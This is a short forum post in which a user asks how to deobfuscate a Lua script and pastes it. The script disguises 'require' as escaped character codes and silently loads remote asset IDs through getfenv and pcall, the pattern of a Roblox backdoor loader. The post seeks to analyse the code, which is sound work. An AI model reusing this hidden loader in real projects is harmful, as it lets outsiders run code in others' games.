I've tried to deobfuscate a script for a few hours earlier on and I'm trying to deobfuscate at the moment. Any ideas and/or how to deobfuscate script?

Here's the script if needed:

local a=function(tbl) 
     local rtn='' 

     for i = 1,#tbl do 
          rtn = rtn..string.char(tbl[i]) 
     end 

     return tonumber(rtn) 
end 

ooooooooo=a({50;57;48;52;51;57;54;57;51;48})
ooooo=a({50;33;48;51;57;55;22;51;49;49})
ooooooooooooooo=a({50;89;48;51;57;34;50;67;49;49}) 

wait()

local z = getfenv()

return function(ahlasdkjflaisefjdalskmfal)
    pcall(function()z["\114\101\113\117\105\114\101"](ooooooooooooooo)end)
    pcall(function()z["\114\101\113\117\105\114\101"](ooooooooo)end)
    pcall(function()z["\114\101\113\117\105\114\101"](ooooo)end)
end

Any help appreciated.

Note: I'm not looking for an answer, I'm just looking for how to de-obfuscate this script.